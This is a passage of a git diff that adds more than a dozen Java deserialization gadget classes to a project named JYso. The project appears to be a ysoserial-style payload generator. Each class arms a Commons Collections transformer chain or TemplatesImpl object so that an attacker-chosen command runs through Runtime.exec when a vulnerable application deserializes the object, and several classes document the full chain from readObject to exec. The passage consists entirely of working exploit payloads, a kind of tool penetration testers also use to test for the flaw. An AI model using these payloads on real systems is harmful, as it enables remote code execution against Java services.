new HashMap(); + DefaultedMap defaultedMap1 = (DefaultedMap) DefaultedMap.decorate(hashMap1, transformers); + DefaultedMap defaultedMap2 = (DefaultedMap) DefaultedMap.decorate(hashMap2, transformers); + + defaultedMap1.put("yy", 1); + defaultedMap2.put("zZ", 1); + Hashtable hashtable = new Hashtable(); + hashtable.put(defaultedMap1, 1); + hashtable.put(defaultedMap2, 1); + defaultedMap2.remove("yy"); + + return hashtable; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections13.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections13.java new file mode 100644 index 0000000..3541e63 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections13.java @@ -0,0 +1,42 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; + +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.DefaultedMap; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:3.2.1"}) +@Authors({Authors.Jayl1n}) +public class CommonsCollections13 implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + final Map innerMap = new HashMap(); + final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain); + + TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo"); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, entry); + + // arm with actual transformer chain + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + + return val; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections14.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections14.java new file mode 100644 index 0000000..53ad0c9 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections14.java @@ -0,0 +1,34 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantFactory; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.Unam4}) +public class CommonsCollections14 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + + Transformer transformerChain = new ChainedTransformer(transformers); + Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1)); + TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1); + HashMap hashMap = Gadgets.maskmapToString(tiedMapEntry, tiedMapEntry); + Reflections.setFieldValue(decorate, "factory",transformerChain ); + Reflections.setFieldValue(tiedMapEntry, "key",233); + + return hashMap; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections15.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections15.java new file mode 100644 index 0000000..c937363 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections15.java @@ -0,0 +1,34 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantFactory; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.Unam4}) +public class CommonsCollections15 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + + Transformer transformerChain = new ChainedTransformer(transformers); + Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1)); + + TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1); + Hashtable hashtable = Gadgets.makeTableTstring(tiedMapEntry); + Reflections.setFieldValue(decorate, "factory",transformerChain ); + Reflections.setFieldValue(tiedMapEntry, "key",233); + return hashtable; + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections16.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections16.java new file mode 100644 index 0000000..1871634 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections16.java @@ -0,0 +1,41 @@ +package com.qi4l.JYso.gadgets; + + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantFactory; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.lang.annotation.Target; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:3.1","jdk:jdk<=8u70"}) +@Authors({Authors.Unam4}) +public class CommonsCollections16 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + + Transformer transformerChain = new ChainedTransformer(transformers); + Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1)); + + TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1); + HashMap map1 = new HashMap<>(); + map1.put("value",tiedMapEntry); + Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Constructor Anotationdeclared = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); + Anotationdeclared.setAccessible(true); + InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Target.class, map1); + Reflections.setFieldValue(decorate, "factory",transformerChain ); + Reflections.setFieldValue(tiedMapEntry, "key",233); + return h; + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections2.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections2.java new file mode 100644 index 0000000..6d1551c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections2.java @@ -0,0 +1,33 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.InvokerTransformer; + +import java.util.PriorityQueue; +import java.util.Queue; + + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +@Authors({Authors.FROHOFF}) +public class CommonsCollections2 implements ObjectPayload> { + + public Queue getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + final PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(transformer)); + queue.add(1); + queue.add(1); + + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates}); + + return queue; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections3.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections3.java new file mode 100644 index 0000000..35ae5b7 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections3.java @@ -0,0 +1,59 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.commons.collections.map.LazyMap; + +import javax.xml.transform.Templates; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + + +/** + * Variation on CommonsCollections1 that uses InstantiateTransformer instead of + * InvokerTransformer. + */ + +@SuppressWarnings({"rawtypes", "unchecked", "restriction", "unused"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.FROHOFF}) +public class CommonsCollections3 implements ObjectPayload { + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } + + public Object getObject(String command) throws Exception { + final Object templatesImpl; + templatesImpl = Gadgets.createTemplatesImpl(command); + + + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{new ConstantTransformer(1)}); + // real chain for after setup + final Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(TrAXFilter.class), + new InstantiateTransformer( + new Class[]{Templates.class}, + new Object[]{templatesImpl})}; + + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return handler; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections4.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections4.java new file mode 100644 index 0000000..1745514 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections4.java @@ -0,0 +1,58 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InstantiateTransformer; + +import javax.xml.transform.Templates; +import java.util.PriorityQueue; +import java.util.Queue; + + +/** + * Variation on CommonsCollections2 that uses InstantiateTransformer instead of + * InvokerTransformer. + */ + +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +@Authors({Authors.FROHOFF}) +public class CommonsCollections4 implements ObjectPayload> { + + public Queue getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + + ConstantTransformer constant = new ConstantTransformer(String.class); + + // mock method name until armed + Class[] paramTypes = new Class[]{String.class}; + Object[] args = new Object[]{Utils.generateRandomString(4)}; + InstantiateTransformer instantiate = new InstantiateTransformer( + paramTypes, args); + + // grab defensively copied arrays + paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); + args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); + + ChainedTransformer chain = new ChainedTransformer(new Transformer[]{constant, instantiate}); + + // create queue with numbers + PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain)); + queue.add(1); + queue.add(1); + + // swap in values to arm + Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); + paramTypes[0] = Templates.class; + args[0] = templates; + + return queue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections5.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections5.java new file mode 100644 index 0000000..4abd747 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections5.java @@ -0,0 +1,65 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import javax.management.BadAttributeValueExpException; +import java.util.HashMap; +import java.util.Map; + +/** + * Gadget chain: + * ObjectInputStream.readObject() + * BadAttributeValueExpException.readObject() + * TiedMapEntry.toString() + * LazyMap.get() + * ChainedTransformer.transform() + * ConstantTransformer.transform() + * InvokerTransformer.transform() + * Method.invoke() + * Class.getMethod() + * InvokerTransformer.transform() + * Method.invoke() + * Runtime.getRuntime() + * InvokerTransformer.transform() + * Method.invoke() + * Runtime.exec() + *

+ * Requires: + * commons-collections + */ + +@SuppressWarnings({"rawtypes", "unused"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.MATTHIASKAISER, Authors.JASINNER}) +public class CommonsCollections5 implements ObjectPayload { + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isBadAttrValExcReadObj(); + } + + public BadAttributeValueExpException getObject(String command) throws Exception { + + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{new ConstantTransformer(1)}); + // real chain for after setup + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L"); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Reflections.setFieldValue(val, "val", entry); + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return val; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections6.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections6.java new file mode 100644 index 0000000..cf371b1 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections6.java @@ -0,0 +1,87 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.io.Serializable; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; + + +/** + * Gadget chain: + * java.io.ObjectInputStream.readObject() + * java.util.HashSet.readObject() + * java.util.HashMap.put() + * java.util.HashMap.hash() + * org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() + * org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() + * org.apache.commons.collections.map.LazyMap.get() + * org.apache.commons.collections.functors.ChainedTransformer.transform() + * org.apache.commons.collections.functors.InvokerTransformer.transform() + * java.lang.reflect.Method.invoke() + * java.lang.Runtime.exec() + *

+ * by @matthias_kaiser + */ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.MATTHIASKAISER}) +public class CommonsCollections6 implements ObjectPayload { + public Serializable getObject(String command) throws Exception { + + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + + Transformer transformerChain = new ChainedTransformer(transformers); + + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L"); + HashSet map = new HashSet(1); + map.add("QI4L"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + + Reflections.setAccessible(f); + HashMap innimpl = (HashMap) f.get(map); + + Field f2 = null; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + Reflections.setAccessible(f2); + Object[] array = (Object[]) f2.get(innimpl); + + Object node = array[0]; + if (node == null) { + node = array[1]; + } + + Field keyField = null; + try { + keyField = node.getClass().getDeclaredField("key"); + } catch (Exception e) { + keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); + } + + Reflections.setAccessible(keyField); + keyField.set(node, entry); + + return map; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections7.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections7.java new file mode 100644 index 0000000..012c8ec --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections7.java @@ -0,0 +1,49 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI}) + +public class CommonsCollections7 implements ObjectPayload { + + public Hashtable getObject(String command) throws Exception { + + final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); + + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + + Map innerMap1 = new HashMap(); + Map innerMap2 = new HashMap(); + + // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject + Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); + lazyMap1.put("yy", 1); + + Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); + lazyMap2.put("zZ", 1); + + // Use the colliding Maps as keys in Hashtable + Hashtable hashtable = new Hashtable(); + hashtable.put(lazyMap1, 1); + hashtable.put(lazyMap2, 2); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + + // Needed to ensure hash collision after previous manipulations + lazyMap2.remove("yy"); + + return hashtable; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections8.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections8.java new file mode 100644 index 0000000..2941344 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections8.java @@ -0,0 +1,31 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.bag.TreeBag; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.InvokerTransformer; + +import java.util.Comparator; + + +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +@Authors({"navalorenzo"}) + +public class CommonsCollections8 implements ObjectPayload { + + + public TreeBag getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + TransformingComparator comp = new TransformingComparator((Transformer) transformer); + TreeBag tree = new TreeBag((Comparator) comp); + tree.add(templates); + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + return tree; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections9.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections9.java new file mode 100644 index 0000000..fc718a0 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections9.java @@ -0,0 +1,35 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.DefaultedMap; + +import javax.management.BadAttributeValueExpException; +import java.util.HashMap; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:3.2.1"}) +@Authors({"梅子酒"}) + +public class CommonsCollections9 implements ObjectPayload { + + public BadAttributeValueExpException getObject(String command) throws Exception { + String[] execArgs = {command}; + Class c = (execArgs.length > 1) ? String[].class : String.class; + ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{(Transformer) new ConstantTransformer(Integer.valueOf(1))}); + Transformer[] transformers = TransformerUtil.makeTransformer(command); + Map innerMap = new HashMap(); + Map defaultedmap = DefaultedMap.decorate(innerMap, (Transformer) chainedTransformer); + TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L"); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Reflections.setFieldValue(val, "val", entry); + Reflections.setFieldValue(chainedTransformer, "iTransformers", transformers); + return val; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK1.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK1.java new file mode 100644 index 0000000..8dfde1b --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK1.java @@ -0,0 +1,43 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + + +/** + * Gadget chain: + * HashMap + * TiedMapEntry.hashCode + * TiedMapEntry.getValue + * LazyMap.decorate + * InvokerTransformer + * templates... + */ + +@Dependencies({"commons-collections:commons-collections:3.1"}) +public class CommonsCollectionsK1 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + HashMap innerMap = new HashMap(); + Map m = LazyMap.decorate(innerMap, transformer); + Map outerMap = new HashMap(); + TiedMapEntry tied = new TiedMapEntry(m, templates); + outerMap.put(tied, "t"); + // clear the inner map data, this is important + innerMap.clear(); + + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + + return outerMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK2.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK2.java new file mode 100644 index 0000000..cf25667 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK2.java @@ -0,0 +1,37 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.collections4.functors.InvokerTransformer; +import org.apache.commons.collections4.keyvalue.TiedMapEntry; +import org.apache.commons.collections4.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:4.0"}) +public class CommonsCollectionsK2 implements ReleaseableObjectPayload { + + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + HashMap innerMap = new HashMap(); + Map m = LazyMap.lazyMap(innerMap, transformer); + Map outerMap = new HashMap(); + TiedMapEntry tied = new TiedMapEntry(m, templates); + outerMap.put(tied, "t"); + // clear the inner map data, this is important + innerMap.clear(); + + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + + return outerMap; + } + + @Override + public void release(Object obj) throws Exception { + + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK3.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK3.java new file mode 100644 index 0000000..ce1b87e --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK3.java @@ -0,0 +1,34 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.MATTHIASKAISER}) +public class CommonsCollectionsK3 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; + Transformer[] transformers = TransformerUtil.makeTransformer(command); + Transformer transformerChain = new ChainedTransformer(fakeTransformers); + Map innerMap = new HashMap(); + Map outerMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); + Map expMap = new HashMap(); + expMap.put(tme, "QI5L"); + outerMap.remove("QI4L"); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + return expMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK4.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK4.java new file mode 100644 index 0000000..f7a427c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK4.java @@ -0,0 +1,34 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.keyvalue.TiedMapEntry; +import org.apache.commons.collections4.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:4.0"}) +@Authors({Authors.MATTHIASKAISER}) +public class CommonsCollectionsK4 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; + final Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command); + Transformer transformerChain = new ChainedTransformer(fakeTransformers); + Map innerMap = new HashMap(); + Map outerMap = LazyMap.lazyMap(innerMap, transformerChain); + TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); + Map expMap = new HashMap(); + expMap.put(tme, "QI4L"); + outerMap.remove("QI4L"); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + return expMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK5.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK5.java new file mode 100644 index 0000000..c3f51e7 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK5.java @@ -0,0 +1,45 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.map.LazyMap; + +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:4.0"}) +@Authors({Authors.QI4L}) +public class CommonsCollectionsK5 implements ObjectPayload { + + public Hashtable getObject(String command) throws Exception { + + final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); + final Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command); + Map innerMap1 = new HashMap(); + Map innerMap2 = new HashMap(); + + // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject + Map lazyMap1 = LazyMap.lazyMap(innerMap1, transformerChain); + lazyMap1.put("yy", 1); + + Map lazyMap2 = LazyMap.lazyMap(innerMap2, transformerChain); + 